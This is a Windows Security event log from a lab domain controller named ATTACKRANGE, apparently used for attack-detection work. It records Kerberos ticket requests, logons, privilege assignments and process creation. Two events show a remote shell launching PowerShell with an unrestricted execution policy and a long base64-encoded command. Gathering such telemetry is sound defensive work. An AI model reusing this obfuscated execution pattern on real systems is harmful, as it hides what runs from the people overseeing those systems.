	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257644
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x533775

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257643
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x533775

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257642
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x533775
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6BE02BB0-8EA3-6BDC-15A4-6EB56DCD4859}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257641
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6BE02BB0-8EA3-6BDC-15A4-6EB56DCD4859}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257640
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6BE02BB0-8EA3-6BDC-15A4-6EB56DCD4859}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257639
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257638
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52F498

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257637
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52E8DC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257636
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52CA71

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257673
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5f8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257672
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53446A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257671
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53446A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{921F7C55-617D-D897-9C23-5E013CD55714}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257670
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{921F7C55-617D-D897-9C23-5E013CD55714}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257669
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{921F7C55-617D-D897-9C23-5E013CD55714}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257668
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257667
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x533882

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x109c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x67c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257666
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x533882

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x67c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa18
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257665
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x534022

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257664
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
